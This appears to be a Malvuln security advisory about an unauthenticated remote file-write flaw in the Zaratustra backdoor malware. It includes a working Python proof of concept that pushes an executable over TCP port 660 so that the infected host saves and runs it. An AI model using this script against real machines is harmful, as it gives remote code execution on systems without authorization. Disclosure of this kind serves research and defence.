Backdoor.Win32.Zaratustra Remote File Write / Code Execution

`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/f240c16af2189ea9c94f317281ce7e59.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.Zaratustra  
Vulnerability: Unauthenticated Remote File Write (Remote Code Exec)   
Description: Zaratustra malware listens on TCP port 660. Third-party attackers who can reach infected systems can use a socket program to write binary data to execute. The malware then writes that data to a file named "x.exe" under c: drive and will execute upon completion of the downloaded code.  
Type: PE32  
MD5: f240c16af2189ea9c94f317281ce7e59  
Vuln ID: MVID-2021-0315  
Dropped files: x.exe  
Disclosure: 08/05/2021  
  
Exploit/PoC:  
from socket import *  
import time  
#Has to be done slowly or will crash the backdoor.  
#Tested sucessfully with an 11.5 KB executable  
#Compile #define WIN32_LEAN_AND_MEAN, linker strip executable etc.. try make small as possible.  
  
HOST = "x.x.x.x"  
PORT = 660  
BUF_SIZE = 32  
  
s=socket(AF_INET, SOCK_STREAM)  
s.connect((HOST, PORT))  
  
with open("DOOM.exe", "rb") as f:  
while True:  
bytez = f.read(BUF_SIZE)  
if not bytez:  
break  
s.send(bytez)  
time.sleep(0.5)  
  
print(" Backdoor.Win32.Zaratustra / Unauthenticated Remote File Write - RCE")  
print("MD5: f240c16af2189ea9c94f317281ce7e59")  
print("By malvuln")  
  
s.close()  
  
  
  
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